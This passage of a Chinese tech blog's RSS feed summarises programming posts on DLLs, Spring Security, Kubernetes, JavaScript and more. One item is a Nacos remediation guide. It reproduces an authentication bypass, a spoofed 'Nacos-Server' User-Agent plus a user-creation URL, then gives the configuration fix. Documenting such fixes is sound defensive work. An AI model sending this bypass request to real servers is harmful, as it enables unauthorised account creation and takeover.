如果库代码更新，所有使用此库的程序都需要重新编译和链接 2. 程序文件大小通常比动态链接的程序更大 三、Windows下动态库和静态库的创建 3.1 如何创建一个动态库？（VS2022为例） 新建一个项目，选择Dynamic-Link Library(DLL)，VS自动帮我们写了工程配置和部分用于优化的代码。对应源代码和头文件：&#xA;#include &#34;pch.h&#34; #include &#34;addition.h&#34; int AddNumbers(int a, int b) { return a + b; } #ifndef ADDITION_H #define ADDITION_H __declspec(dllexport) int AddNumbers(int a, int b); #endif 在Windows平台上，默认情况下，函数和变量不会被自动导出为动态链接库（DLL）的一部分。如果你想要将函数或变量导出为DLL可见的导出项，需要显式地使用</description>
    </item>
    <item>
      <title>[SpringBoot]Spring Security框架</title>
      <link>https://bchobby.github.io/posts/420e0897549dc6aa7ef846b32a97c4ee/</link>
      <pubDate>Sun, 11 Jun 2023 20:55:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/420e0897549dc6aa7ef846b32a97c4ee/</guid>
      <description>目录&#xA;关于Spring Security框架&#xA;Spring Security框架的依赖项&#xA;Spring Security框架的典型特征&#xA;关于Spring Security的配置&#xA;关于默认的登录页&#xA;关于请求的授权访问（访问控制）&#xA;使用自定义的账号登录&#xA;使用数据库中的账号登录&#xA;关于密码编码器&#xA;使用BCrypt算法&#xA;关于伪造的跨域攻击&#xA;使用前后端分离的登录&#xA;关于认证的标准&#xA;未通过认证时拒绝访问&#xA;识别当事人（Principal）&#xA;实现根据权限限制访问&#xA;补充解释（关于使用resultMap标签）：&#xA;基于方法的权限检查&#xA;添加Token 首先添加Token-JWT的依赖项：&#xA;生成JWT：&#xA;解析JWT&#xA;补充：&#xA;在项目中使用JWT识别用户的身份&#xA;核心流程&#xA;验证登录成功时响应JWT&#xA;解析客户端携带的JWT&#xA;我们这次选择去继承Spring系列框架提供的OncePerRequestFilter这个类。&#xA;关于认证信息中的当事人&#xA;处理解析JWT时的异常&#xA;处理复杂请求的跨域问题&#xA;单点登录&#xA;关于Spring Security框架 Spring Security框架主要解决了认证与授权相关的问题。 认证信息（Authentication）：表示用户的身份信息&#xA;认证（Authenticate）：识别用户的身份信息的行为，例如：登录&#xA;授权（Authorize）：授予用户权限，使之可以进行某些访问，反之，如果用户没有得到必要的授权，将无法进行访问&#xA;Spring Security框架的依赖项 在Spring Boot中使用Spring Security时需要添加spring-boot-starter-security依赖。 Spring Security框架的典型特征 当添加了spring-boot-starter-security依赖后，在启动项目时执行一些自动配置，具体表现有：&#xA;所有请求（包括根本不存在的）都是必须要登录才允许访问的，如果未登录，会自动跳转到框架自带的登录页面（1.项目重启之后需要重新登录，2.原来想去的页面会要求登录，登录完成之后回到原来的位置）&#xA;当尝试登录时，如果在打开登录页面后重启过服务器端，则第1次的输入是无效的 默认的用户名是user，密码是在启动项目是控制台提示的一段UUID值，每次启动项目时都不同(同一时空的唯一性，即同一时间同一空间的值都不同)&#xA;UUID是通过128位算法（运算结果是128个bit）运算得到的，是一个随机数，在同一时空是唯一的，通常使用32个十六进制数来表示，每种平台生成UUID的API和表现可能不同，UUID值的种类有2的128次方个，即：3.4028237e+38，也就是340282366920938463463374607431768211456&#xA;当登录成功后，会自动跳转到此前尝试访问的URL&#xA;当登录成功后，可以通过 /logout 退出登录&#xA;默认不接受普通POST请求，如果提交POST请求，将响应403（Forbidden）&#xA;关于Spring Security的配置 在项目的根包下创建config.SecurityConfiguration类，作为Spring Security的配置类，此类需要继承自WebSecurityConfigurerAdapter，并重写void configure(HttpSecurity http)方法，例如：&#xA;@Slf4j @Configuration public class SecurityConfiguration extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { // super.</description>
    </item>
    <item>
      <title>更新 deployment 解决 field is immutable 问题</title>
      <link>https://bchobby.github.io/posts/72a9043a03b2b9063e437623e460b5ca/</link>
      <pubDate>Sun, 11 Jun 2023 20:49:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72a9043a03b2b9063e437623e460b5ca/</guid>
      <description>现象 在执行./deploy.sh -s | kubectl apply -f -升级CoreDNS过程中，如果遇到以下提示：&#xA;The Deployment &#34;coredns&#34; is invalid: spec.selector: Invalid value: v1.LabelSelector{MatchLabels:map[string]string{&#34;app.kubernetes.io/name&#34;:&#34;coredns&#34;, &#34;k8s-app&#34;:&#34;kube-dns&#34;}, MatchExpressions:[]v1.LabelSelectorRequirement(nil)}: field is immutable 问题分析 则是因为原来CoreDNS的.spec.selector字段与./deploy.sh -s产生yaml的.spec.selector字段一致，所以产生此错误。因为在 apps/v1版本中，Deployment 创建后 .spec.selector 是不可变的。所以需要将旧与新yaml的.spec.selector字段相同才可以更新。&#xA;解决方法 方法有两种：&#xA;./deploy.sh -s产生yaml导出到文件中，把.spec.selector改成与原来相同的内容。同时.spec.selector必须能够匹配到.spec.template.metadata.labels，否则请求会被 API 拒绝。同时需要修改Service下的.spec.selector，要与.spec.template.metadata.labels一样。删除原来的CoreDNS这个deployment，直接创建新的CoreDNS。 参考：https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/deployment/#selector</description>
    </item>
    <item>
      <title>Nacos认证绕过漏洞修复</title>
      <link>https://bchobby.github.io/posts/2b18fde927125dd3ef3d3c45f5ed58e0/</link>
      <pubDate>Sun, 11 Jun 2023 20:18:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b18fde927125dd3ef3d3c45f5ed58e0/</guid>
      <description>Nacos认证绕过漏洞修复 1 漏洞描述及复现1.1 漏洞描述1.2 漏洞复现 2 漏洞修复3 修复后验证 1 漏洞描述及复现 1.1 漏洞描述 Nacos 官方在 github 发布的 issue 中披露 Alibaba Nacos 存在一个由于不当处理 User-Agent 导致的认证绕过漏洞。通过该漏洞，攻击者可以进行任意操作，包括创建新用户并进行登录后操作。&#xA;1.2 漏洞复现 请求头设置User-Agent，值为Nacos-Server，那么不需要认证，就可以随意创建用户，比如，访问http://ip:port/nacos/v1/auth/users?username=xxx&amp;amp;password=xxx，如下图，用户创建成功：&#xA;或者访问http://ip:port/nacos/v1/auth/users?pageNo=1&amp;amp;pageSize=10，也可以查询到已创建的用户信息。&#xA;2 漏洞修复 编辑nacos的配置文件（ /&amp;lt;nacos安装目录&amp;gt;/conf/application.properties ），修改以下配置信息并保存：&#xA;nacos.core.auth.enabled=true nacos.core.auth.enable.userAgentAuthWhite=false nacos.core.auth.server.identity.key=serverIdentity nacos.core.auth.server.identity.value=security 保存后，重启nacos。&#xA;如果项目中没有配置nacos的用户名密码信息，会影响服务，配置过的可忽略。如springboot的配置文件中，需要配置nacos的用户名及密码信息：&#xA;spring: cloud: nacos: discovery: server-addr: 127.0.0.1:8848 username: nacos password: nacos 3 修复后验证 修复之后，再次访问，如下，显示403，则漏洞修复成功。</description>
    </item>
    <item>
      <title>彻底搞懂浏览器和node.js中的this指向问题！</title>
      <link>https://bchobby.github.io/posts/1ca93db96641f5f81c2bd32d9379efe8/</link>
      <pubDate>Sun, 11 Jun 2023 18:48:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ca93db96641f5f81c2bd32d9379efe8/</guid>
      <description>彻底搞懂JavaScript中的this指向问题！ 之前遇到this指向问题总是一知半解，今天花了一些时间深入了解了一下，接下来我会把我的理解通俗易懂的讲出来，希望以后大家都能明白this指向。&#xA;首先搞明白this的定义：this为代码运行时所处的环境！本质上所有的函数都是通过对象调用，所以最终是谁调用的函数，函数内部的this就是谁。&#xA;this在浏览器中的指向 node.js中大部分的指向和普通运行环境一致，所以此处先说明大部分情况，最后node.js差异部分单独说明。 1.普通函数的this指向他的调用者&#xA;let name=&#39;window&#39; let obj={ name:&#39;obj&#39; getName:function() { console.log(&#39;getName:&#39;,this.name) } } obj.getName()&#x9;//getName:obj 2.箭头函数的this:箭头函数没有自己的this，所以指向定义时所在环境&#xA;var name=&#39;window&#39; let obj={ name:&#39;obj&#39;, getName:()=&amp;gt; { console.log(&#39;getName:&#39;,this.name) } } obj.getName()&#x9;//getName：window 可以看到此处getName声明为箭头函数，函数体中的this定义时的调用者环境，即obj所处环境的this（window对象），可以简单理解为：对比普通函数来说，箭头函数指向他外层的this（普通函数的this的外一层this）。&#xA;3.定时任务，setTimeout，无论是否为箭头函数，this都指向的是window，因为定时任务是浏览器调用的，所以指向最顶层的window对象。&#xA;let name=&#39;window&#39; setTimeout(function() { console.log(&#39;getName:&#39;,this.name)&#x9;//getName:window }, 200); let name=&#39;window&#39; setTimeout(()=&amp;gt; { console.log(&#39;getName:&#39;,this.name)&#x9;//getName:window }, 200); 4.构造函数的this指向他的构造对象&#xA;function user() { this.name=&#39;name&#39; this.id=00000000 } let lucy=new user(); console.log(&#39;name:&#39;,this)&#x9;//name: user {name: &#39;name&#39;, id: 00000000} 值得注意的一点是：如果构造函数返回体中return非对象类型，则构造函数创建的实例对象不变，否则会发生改变&#xA;function user() { this.</description>
    </item>
    <item>
      <title>Prettier &#43; Vetur 进行Vue2项目代码格式化</title>
      <link>https://bchobby.github.io/posts/542fb6de9b656c851e6802eb7c04bd8a/</link>
      <pubDate>Sun, 11 Jun 2023 17:59:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/542fb6de9b656c851e6802eb7c04bd8a/</guid>
      <description>Prettier 是一个代码格式化工具，它可以支持 js/jsx/ts/flow/json/css/less/scss 等文件格式。 为什么要使用 Prettier？ 用来替代 lint 中的一些场景，比如说分号/tab缩进/空格/引号，这些在lint工具检查出问题之后还需要手动修改，而通常这样的错误都是空格或者符号之类的，这样相对来说不太优雅，利用格式化工具自动生成省时省力。&#xA;安装插件 1. 在 VSCode 的扩展搜索 Prettier - Code formatter 和 Vetur 插件并进行安装。&#xA;Vetur 是 Vue 专用插件，Prettier 格式化后的 template 排版真是丑，所以 Vue 相关的格式化我们用专业的 Vetur。&#xA;2. 创建 Prettier 配置文件&#xA;在项目根目录新建 .prettierrc 文件：&#xA;{ &#34;printWidth&#34;: 100, // 单行代码字符数量最长100，超过自动折行 &#34;tabWidth&#34;: 2, // tab使用2个空格 &#34;singleQuote&#34;: true, // 单引号 &#34;trailingComma&#34;: &#34;es5&#34;, // 默认none, 可选 none|es5|all。es5 包括es5中的数组、对象最后一个元素后会加逗号, all 包括函数对象等所有可选 &#34;bracketSpacing&#34;: true, // 对象左右两侧都需要空格 &#34;semi&#34;: true, // 是否在行尾加分号 &#34;arrowParens&#34;: &#34;</description>
    </item>
    <item>
      <title>MATLAB 之 线性方程组求解</title>
      <link>https://bchobby.github.io/posts/f39e5be7b4c788a09673064b5dcc0ba0/</link>
      <pubDate>Sun, 11 Jun 2023 17:50:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f39e5be7b4c788a09673064b5dcc0ba0/</guid>
      <description>这里写目录标题 一、线性方程组求解1. 线性方程组的直接解法1.1 利用左除运算符的直接解法1.2 利用矩阵的分解求解线性方程组 2. 线性方程组的迭代解法2.1 Jacobi 迭代法2.2 Gauss-Serdel 迭代法 3. 求线性方程的通解 一、线性方程组求解 在 MATLAB 中，关于线性方程组的解法一般分为两类：一类是直接法，就是在没有舍入误差的情况下，通过有限步的矩阵初等运算来求得方程组的解；另一类是迭代法，就是先给定一个解的初始值，然后按照一定的迭代算法进行逐步逼近，求出更精确的近似解。 1. 线性方程组的直接解法 线性方程组的直接解法大多基于高斯消元法、主元素消元法、平方根法和追赶法等。在 MATLAB 中，这些算法已经被编成了现成的库函数或运算符，因此，只需调用相应的函数或运算符即可完成线性方程组的求解。 1.1 利用左除运算符的直接解法 线性方程组求解最简单的方法就是使用左除运算符 \，系统会自动根据输入的系数矩阵判断选用哪种方法进行求解。对于线性方程组 A x = b Ax=b Ax=b，可以利用左除运算符 \ 求解： x = A ∖ b x=A\setminus b x=A∖b当系数矩阵 A A A 为 N × N N×N N×N 的方阵时，MATLAB 会自行用高斯消元法求解线性方程组。若右端项 b b b 为 N × 1 N×1 N×1 的列向量，则 x = A ∖ b x=A\setminus b x=A∖b 可获得方程组的数值解 x x x（ N × 1 N×1 N×1 的列向量）。若右端项 b b b 为 N × M N×M N×M 的矩阵，则 x = A ∖ b x=A\setminus b x=A∖b 可同时获得系数矩阵 A A A 相同的 M M M 个线性方程组的数值解 x x x（为 N × M N×M N×M 的矩阵），即 x ( : , j ) = A ∖ b ( : , j ) , j = 1 , 2 , … , M x(:,j)=A\setminus b(:,j), j=1, 2, …, M x(:,j)=A∖b(:,j),j=1,2,…,M。这里需要注意的是，如果矩阵 A A A 是奇异的或接近奇异的，则 MATLAB 会给出警告信息。例如，我们用直接解法求解下列线性方程组。 { 2 x 1 + x 2 − 5 x 3 + x 4 = 13 x 1 − 5 x 2 + 7 x 4 = − 9 2 x 2 + x 3 − x 4 = 6 x 1 + 6 x 2 − x 3 − 4 x 4 = 0 \left\{\begin{matrix}2x_{1}+x_{2}-5x_{3}+x_{4}=13 \\x_{1}-5x_{2}+7x_{4}=-9 \\2x_{2}+x_{3}-x_{4}=6 \\x_{1}+6x_{2}-x_{3}-4x_{4}=0 \end{matrix}\right.</description>
    </item>
    <item>
      <title>一文看懂python如何执行cmd命令</title>
      <link>https://bchobby.github.io/posts/fbd1e8ce808621047923a3b1e42f7b26/</link>
      <pubDate>Sun, 11 Jun 2023 16:36:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbd1e8ce808621047923a3b1e42f7b26/</guid>
      <description>概要 “ 在进行Python编程时，经常需要使用到操作系统的命令行，这就要求我们学会如何使用Python执行cmd命令。”&#xA;Python执行cmd命令的几种方法 Python是一种强大而灵活的编程语言，它可以很方便地执行系统命令，与操作系统进行交互。本文将介绍Python执行cmd命令的几种常用方法，以及它们的优缺点和使用场景。&#xA;1. 使用os模块的os.system()函数 os模块是Python标准库中的一个模块，它提供了一些与操作系统相关的函数和变量。其中，os.system()函数可以将字符串转化成命令在服务器上运行，返回值是命令的退出状态码，0表示成功，1表示失败，256表示没有返回结果。例如：&#xA;import os a = os.system(&#34;ping 192.168.1.101&#34;) # 使用a接收返回值 print(a) 这种方法的优点是简单易用，不需要额外的模块导入。缺点是无法获取命令的输出内容，只能获取返回值；而且每次执行命令都会创建一个新的子进程，在资源消耗上比较大。&#xA;2. 使用os模块的os.popen()函数 os.popen()函数也是os模块中的一个函数，它可以通过管道的方式来执行系统命令，返回值是一个文件对象，可以读或者写。如果需要读取输出内容，可以调用read()或readlines()方法。例如：&#xA;import os a = os.popen(&#34;ipconfig&#34;) # 使用a接收返回值 print(a.read()) # 读取输出内容 这种方法的优点是可以获取命令的输出内容，并对其进行处理；缺点是无法获取命令的返回值，而且也会创建新的子进程。&#xA;3. 使用subprocess模块 subprocess模块是Python从2.4版本开始引入的模块，主要用来取代一些旧的模块方法，如os.system、os.spawn、os.popen、commands.*等。官方推荐使用该模块执行系统命令，subprocess模块通过子进程来执行外部指令，并通过input/output/error管道，获取子进程的执行结果。常用的函数有subprocess.Popen()、subprocess.call()、subprocess.run()等。&#xA;3.1 使用subprocess.Popen() 使用Popen可以创建进程，并与进程进行复杂的交互。它接受一个命令或者一个命令列表作为参数，并返回一个Popen对象。通过调用Popen对象的communicate()方法可以获取输出和错误信息。例如：&#xA;import subprocess # 使用Popen创建进程，并与进程进行复杂的交互 proc = subprocess.Popen( &#39;ipconfig&#39;, # cmd特定的查询空间的命令 stdin=None, # 标准输入 键盘 stdout=subprocess.PIPE, # -1 标准输出（演示器、终端) 保存到管道中以便进行操作 stderr=subprocess.PIPE, # 标准错误，保存到管道 shell=True) outinfo, errinfo = proc.communicate() # 获取输出和错误信息 print(outinfo.decode(&#39;gbk&#39;)) # 外部程序 (windows系统)决定编码格式 print(errinfo.</description>
    </item>
    <item>
      <title>Task Add-in Sample (C#)</title>
      <link>https://bchobby.github.io/posts/e6c602ed9dae812d5f3ce378edde416d/</link>
      <pubDate>Sun, 11 Jun 2023 14:46:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6c602ed9dae812d5f3ce378edde416d/</guid>
      <description>下例显示了用 C# 编写Task Add-in 的完整源代码。 使用 C# 类库 （.NET Framework） 创建 Visual Studio 中的项目。实现 IEdmAddIn5。在“任务属性”对话框中创建自定义页。自定义任务详细信息页面。 注意： 若要填充下面的 GUID 属性，请在 IDE 中单击“工具”&amp;gt;“创建 GUID”，选择“GUID 格式 5”，单击“复制”，然后单击“退出”。用复制的字符串替换 [Guid(&#34;&#34;)]。&#xA;启动VS。新建项目，选择类库。 在“解决方案资源管理器”中右键单击项目名称 ，然后单击添加引用。 在 左侧面板单击 浏览 ，选择EPDM.Interop.epdm，然后单击添加。&#xA;如果需要，引入相关的程序集。在“解决方案资源管理器”中右击项目名称，然后单击“属性”。 “应用程序&amp;gt;程序集信息”。 取消勾选“使程序集 COM 可见（M）”。 修改Class1.cs。这里修改类名为TaskAddin.cs。 添加和创建GUID。修改代码 using System; using System.Runtime.InteropServices;//添加 using System.Windows; using EPDM.Interop.epdm; namespace Task_Add_in { [Guid(&#34;6EC3D9F8-D202-45A5-8F12-3EB5DED97A7E&#34;), ComVisible(true)] public class TaskAddin : IEdmAddIn5 { } } 对EdmCmdType.EdmCmd_TaskSetup、EdmCmd_TaskSetupButton、EdmCmd_TaskRun、EdmCmd_TaskDetails进行处理 using System; using System.Runtime.InteropServices;//添加 using System.Windows; using EPDM.Interop.epdm; namespace Task_Add_in { [Guid(&#34;</description>
    </item>
    <item>
      <title>python - 爬取证券信息并填入excel做处理 （打包后项目依旧能够对相对路径文件做处理）</title>
      <link>https://bchobby.github.io/posts/9d2dcb2af1ac9e92f6edd490ccfa7a79/</link>
      <pubDate>Sun, 11 Jun 2023 12:00:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d2dcb2af1ac9e92f6edd490ccfa7a79/</guid>
      <description>前言 单功能分块实现并做好注释没有学过python但能明显感觉代码是很垃圾的，仅做学习备份没有设计ui界面 可参考地方 对于python项目打包后，依然能够实现对相对路径文件做处理获取tushare数据对单excel内多表格进行访问和处理使用sqlite3轻量数据库 - 项目做了mysql数据库到sqlite数据库的迁移，使得打包后的exe文件不需要其他依赖 不足之处 没能做好虚拟环境的管理，导致打包后的文件大小偏大&#xA;代码 # This is a sample Python script. # Press Shift+F10 to execute it or replace it with your code. # Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings. import sys try: import pymysql from openpyxl import load_workbook import tushare as ts from datetime import datetime, timedelta import os import re import pandas as pd import sqlite3 current_dir = os.</description>
    </item>
    <item>
      <title>Java设计模式</title>
      <link>https://bchobby.github.io/posts/2a63924255f0951919397c761b308cc6/</link>
      <pubDate>Sun, 11 Jun 2023 10:14:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a63924255f0951919397c761b308cc6/</guid>
      <description>Java设计模式 单例模式 什么是单例模式 每使用一次new关键字创建一个对象，就在内存中新增加一个内存地址，如果创建的次数多了，那可是很耗费内存空间的。单例模式就是来解决这样的问题的，单例模式保证一个对象在程序中只创建一次，那么在内存中也就只有一份。&#xA;单例模式简单来说就是保证某一个类在程序中只实例化一次，以后调用这个类时始终是指向同一个内存地址的类。&#xA;单例模式的分类 单例模式的创建分为懒汉式、饿汉式两种模式。饿汉式就是当类以加载时就创建这个的实例，懒汉式是当第一次调用时才会创建这个类的实例；&#xA;饿汉式 public class StudentSingle1 { private static final StudentSingle1 studentSingle1 = new StudentSingle1(); private StudentSingle1() { } public static StudentSingle1 getInstance() { return studentSingle1; } } 懒汉式 懒汉式只有在使用时才创建对象，而且只创建一次。在懒汉单例模式中如果只是使用if语句来判断对象是否创建，那么会出现线程安全问题；&#xA;多线程不安全 // 多线程不安全 public class StudentSingle2 { private static StudentSingle2 studentSingle2; private StudentSingle2() { } public static StudentSingle2 getInstance() { if (studentSingle2 == null) { /** * 线程1执行到这里时,cpu切换线程2也执行到这里， * 此时的线程被1迫暂停， * 线程2创建对象后,线程1开启创建对象,创建了两个对象 * 这样就出现多线程安全问题 */ studentSingle2 = new StudentSingle2(); } return studentSingle2; } } 多线程安全 双重判断：也就是进行两次判断，但在进第二次判断时会采用synchronized来进行线程排队，会影响一定的性能；</description>
    </item>
    <item>
      <title>怎么在命令行里运行python脚本 （合集）</title>
      <link>https://bchobby.github.io/posts/e5dfe702bb63753ee0d764d747e5f629/</link>
      <pubDate>Sat, 10 Jun 2023 22:54:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5dfe702bb63753ee0d764d747e5f629/</guid>
      <description>在命令行里运行python脚本的方法&#xA;工具/原料&#xA;python;CMD命令行;windows操作系统&#xA;方法/步骤&#xA;首先下载安装python，建议安装2.7版本以上，3.0版本以下，由于3.0版本以上不向下兼容，体验较差。&#xA;打开文本编辑器，推荐editplus，notepad等，将文件保存成 .py格式，editplus和notepad支持识别python语法。&#xA;脚本第一行一定要写上 #!usr/bin/python&#xA;表示该脚本文件是可执行python脚本&#xA;如果您的python目录不在usr/bin目录下，则替换成当前python执行程序的目录&#xA;编写完脚本之后注意调试、可以直接用editplus调试。调试方法可自行百度。脚本写完之后，打开CMD命令行，前提是python 已经被加入到环境变量中，如果没有加入到环境变量，请百度&#xA;在CMD命令行中，输入 python + 空格，即 python ;&#xA;将已经写好的脚本文件拖拽到当前光标位置，然后敲回车运行即可&#xA;python如何配置环境变量&#xA;python如何配置环境变量&#xA;方法/步骤&#xA;选中我的电脑，按快捷键，弹出计算机系统属性的窗口。&#xA;在计算机系统右侧导航栏中选择高级系统设置，弹出对话框。&#xA;在系统属性对话框的高级选项卡中单击环境变量按钮。&#xA;此时弹出环境变量对话框，在系统变量里选择 Path 进行编辑。&#xA;在编辑系统变量中变量值增加一项为Python的安装目录。&#xA;快捷键运行 cmd，进入命令行提示符，打开命令行。&#xA;其中输入python，出现python的版本信息，配置环境变量成功。&#xA;python调用外部exe程序&#xA;python调用外部exe程序&#xA;工具/原料&#xA;python3&#xA;exe程序&#xA;方法/步骤&#xA;使用python自带的subprocess库。&#xA;导入库(很简单)。&#xA;指定外部exe程序的路径。并指定传入参数，注意使用二进制格式传入。&#xA;这一步很关键。subprocess的Popen方法有很多的参数，对于初学者而言，不必深究。这里我以 后缀表达式的转换程序为例。传入参数为字符串，传出也是字符串。两个进程建立pipe管道通信。请仔细体会参数的使用。p.communicate()方法返回的是元组，可根据自己需求选取元素。该方法同时传入参数，input=，就是传参。&#xA;程序运行，显示出exe程序执行的结果。相关结果已经处理，去掉不需要的部分，并且转换成字符串格式。&#xA;win10系统怎么安装python win10系统安装python的方法&#xA;先到python的官方网站下载软件，打开官网后，选择downlad项目，然后选择需要下载的大版本，2.7还是3.4。&#xA;选择完版本后，进入后一个页面，在这个页面可以选择操作系统及对应的版本，win下注意分64位和32位版本，不要下错了。&#xA;32位的程序大约为17.5M，建议非官网下载的还是要比对下MD5以防万一，在上一个页面就有MD5值。核对完成后双击安装，首先是询问是为所有用户还是为当前用户安装，用缺省的就行。&#xA;下一步后是选择安装目录，这个看个人喜好了，不过还是要记一下目录，因为缺省的代码也会放在这个目录下。&#xA;下面继续缺省配置选择就开始安装了，python在安装过程中要执行一些角本，因些需要至少有system的权限才可以安装。&#xA;安装完成，但在win10在任务栏和桌面上都未生成图标，使用起来麻烦些，在开始窗口打开所有应，按字母找到python程序项，右键选择固定在任务栏或屏幕。&#xA;Windows下Python环境的配置和Dos界面的调用&#xA;Windows下Python环境的配置和Dos界面的调用&#xA;工具/原料&#xA;python2.7&#xA;方法/步骤&#xA;没有设置环境变量的时候，在dos下输入python，效果如下：&#xA;然后，点击我的电脑的属性，进入系统面板。&#xA;然后在右上角找到高级系统设置，&#xA;然后选择右下角的环境变量，如下图步骤，将python的exe所以在路径添加到系统变量的PATH中&#xA;进行上述修改之后，还是只能通过python*.py运行python运行再修改领一个环境变量&#xA;PATHEXT：&#xA;PATHEXT=PATHEXT;.PY;.PYM&#xA;然后这时候，在dos界面输入python，会进入python编辑的页面，如下：&#xA;对于一般的python代码运行，我们直接在dos中输入python *.py便可运行。&#xA;有时候有些python程序不适合上面的方法，如下：</description>
    </item>
    <item>
      <title>百度翻译API使用教程（前端&#43;后端）</title>
      <link>https://bchobby.github.io/posts/d68832e2009c75e2d96f7b293714d005/</link>
      <pubDate>Sat, 10 Jun 2023 22:15:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d68832e2009c75e2d96f7b293714d005/</guid>
      <description>1.资格获取 首先我们需要登录百度翻译开放平台，获取开发者资格：&#xA;访问&#xA;百度翻译开放平台&#xA;然后进行注册（如果有百度账号的话可以直接登录）&#xA;注册成功后点击“产品服务”：&#xA;跳转到通用文本API界面：&#xA;在页面底部点击“立即使用”即可选择服务进行使用&#xA;通用文本API有三种服务可供选择：&#xA;个人用户可以使用前两种，高级版的使用需要个人认证（实名认证）&#xA;2.简单使用 点击“管理控制台”，打开“开发者信息”界面：&#xA;即可看到你的APP ID和密钥信息，在调用接口的时候需要用到；&#xA;点击“我的服务”中的通用文本翻译，即可看到服务使用情况及明细&#xA;如果对于翻译的术语有特殊要求，可以点击“我的语料库”，并新建术语库：&#xA;这样我们设置的术语即可干预翻译结果；&#xA;3.编程实现 百度翻译开放平台&#xA;前往以上网址查看通用翻译API的开发文档&#xA;3.1 前端代码 开发环境：Vue.js + Uniapp&#xA;（uniapp快速上手：uni-app官网）&#xA;通过一个文本输入框接受输入内容，然后调用后端接口，进行翻译：&#xA;&amp;lt;template&amp;gt; &amp;lt;view&amp;gt; &amp;lt;!--输入框--&amp;gt; &amp;lt;uni-easyinput type=&#34;textarea&#34; v-model=&#34;translate_source&#34; placeholder=&#34;请输入想要翻译的内容&#34; suffixIcon=&#34;search&#34; borderColor=&#34;grey&#34; @input=&#34;input&#34;&amp;gt;&amp;lt;/uni-easyinput&amp;gt; &amp;lt;!--翻译按钮--&amp;gt; &amp;lt;button type=&#34;primary&#34; class=&#34;translate_button&#34; @click=&#34;translate&#34;&amp;gt;开始翻译&amp;lt;/button&amp;gt; &amp;lt;!--翻译内容展示--&amp;gt; &amp;lt;view style=&#34;margin-top: 50rpx;&#34;&amp;gt; &amp;lt;uni-section title=&#34;翻译内容如下:&#34; type=&#34;line&#34; class=&#34;translate_line&#34;&amp;gt; &amp;lt;view class=&#34;translate_answer&#34;&amp;gt; &amp;lt;textarea disabled=&#34;true&#34; :value=&#34;translated_content&#34;&amp;gt;&amp;lt;/textarea&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/uni-section&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { translate_source:&#34;&#34;, translated_content:&#34;</description>
    </item>
    <item>
      <title>AI-Prompt 1.0 版简介&amp;公测！你的AI提示词网站！</title>
      <link>https://bchobby.github.io/posts/4d4b41491a87f84fa77c12831973c649/</link>
      <pubDate>Sat, 10 Jun 2023 19:13:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d4b41491a87f84fa77c12831973c649/</guid>
      <description>提示词（Prompt） 是什么？&#xA;在 AI 大模型中，一个 prompt 是一个输入文本，用于触发模型生成输出。例如，当我们向一个 AI 大模型提交需求时，我们的需求就是一个 prompt。&#xA;在介绍产品之前，我们先简单重申一下 Prompt 为什么有用？&#xA;首先，研究显示一个 Prompt 的信息量相当于100个真实数据样本，这清楚地展示了 Prompt 所包含的巨大信息量。(https://arxiv.org/abs/2103.08493)&#xA;其次，在下游任务中，尤其是在数据稀缺或零样本场景中，Prompt 具有无与伦比的优势。由于大型模型通常难以在少量数据上进行微调，因此，基于 prompt 的微调技术成为了首选方法。&#xA;大佬们对于 Prompt 的看法&#xA;ChatGPT之父 Sam Altman:“编写一个非常出色的聊天机器人角色 Prompt 是一个惊人的高杠杆技能，也是早期自然语言编程的一个例子”&#xA;​&#xA;百度李彦宏：“我做一个大胆预测：10年后全世界所有工作当中50%的内容恐怕是写 Promt”&#xA;吴恩达教授：“使用 Prompt 来开发模型, 只需要花费几分钟到几个小时。”&#xA;以下为正文&#xA;我们认为，新的时代已经开始。&#xA;ai-prompt.cn —— 一切，从提出问题开始！&#xA;🚀 提示词编辑器&#xA;提示词编辑器用于编写各种类型的提示词，目前支持图像提示词和聊天提示词&#xA;图像提示词中胶囊左侧工具集内可提供权值的修改&#xA;​&#xA;编辑&#xA;切换为居中&#xA;添加图片注释，不超过 140 字（可选）&#xA;编辑区右侧可以点击“中英文对照”按钮决定使用中文或英文 ​&#xA;编辑区右侧可以点击“中英文对照”按钮决定使用中文或英文&#xA;胶囊右侧内容区域可展示元信息的详情和英文对照信息&#xA;编辑区右侧可以点击“添加空胶囊”按钮创建一个空的胶囊，如果你想用工具集里面的内容，这会是一个不错的功能&#xA;编辑区右侧可以点击“记点”按钮记住创作好的 Prompt&#xA;下方目前接入 Midjourney 的可视化选项配置，后续会接入其它大模型的配置（如果有）&#xA;右侧为 Prompt 结果区域，当我们创作好 Prompt 后可以在右侧看实际会发送给大模型的 Prompt，点击复制即可。&#xA;元信息——期望AIGC生成内容的信息描述</description>
    </item>
    <item>
      <title>Flowable工作流入门&amp;完整SpringBoot案例</title>
      <link>https://bchobby.github.io/posts/bf00fa2d65c09a87f6605763f4fcf640/</link>
      <pubDate>Sat, 10 Jun 2023 14:00:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf00fa2d65c09a87f6605763f4fcf640/</guid>
